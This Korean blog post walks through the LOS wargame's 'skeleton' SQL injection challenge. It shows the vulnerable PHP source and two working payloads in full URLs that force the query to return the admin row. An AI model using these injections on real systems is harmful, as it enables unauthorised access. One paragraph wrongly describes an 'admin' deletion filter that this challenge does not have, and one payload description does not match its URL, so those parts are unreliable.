LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 vampire에 이어 skeleton 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

skeleton는 vampire와 마찬가지로 단순 필터링 우회문제입니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>


위의 문제에서는 크게 필터링되는 것은 보이지 않고, id가 guest로 고정되어 있지만, id='admin'이 참이 되게끔 하는 조건문을 완성하는 것이 관건인 문제입니다. 

여기서는 pw 내에 적절한 Injection이 필요할 것 같습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 pw 쪽에 값 삽입(주석 있음)


이 문제에서는 admin을 한 번 발견하면, 딱 한 번 지워준다는 취약점을 가지고 있습니다.

따라서 admin이라는 문자열 안에 admin을 한 번 더 넣어주게 되면 안에 있는 admin은 사라지고 완전한 admin이 남게 되지요.

뭔가 랩 같이 글을 쓰게 됐는데 설명은 아래에서 더 자세히 하겠습니다.

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27%20or%20id=%27admin%27%23


위의 쿼리는 pw=' or id='admin'%23 이라고 작성해주었습니다.

여기서 id='admin'을 입력하더라도 뒤의 조건문 and 연산자가 무조건 False가 되게끔 하기 때문에 적절한 주석처리가 필요하게 됩니다.

따라서 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0


이렇게 하면 id='admin'이라는 조건만 참이 되고 뒤의 문자들은 주석처리되어 실행되지 않습니다.

또한 앞의 id='guest' and pw='' 조건문은 거짓이 되게 됩니다.


여기서 주석은 %23 즉, # 이외에도 %20--%20이 되는 것을 확인했습니다.



 

 pw 쪽에 값 삽입(주석 없음)


만약 주석이 불가능하다고 가정한다면 다음과 같은 방법으로도 풀 수 있습니다.

중간에 주석을 넣어주지 않고 id='admin'만 참이고 나머지는 거짓으로 하면 됩니다.

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27%20or%20id=%27admin%27%20or%20id=%27


위의 쿼리는 pw=' or id='admin' or id='%23 이라고 작성해주었습니다.

먼저 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_skeleton where id='guest' and pw='' or id='admin' or id='' and 1=0


여기서 세 개의 조건이 나타나게 되는데, 각각의 설명은 다음과 같습니다.



 query : select id from prob_skeleton where id='guest' and pw='' or id='admin' or id='' and 1=0

id='guest' and pw=''는 거짓

id='admin' 는 참

id='' and 1=0 은 거짓



+ Recent posts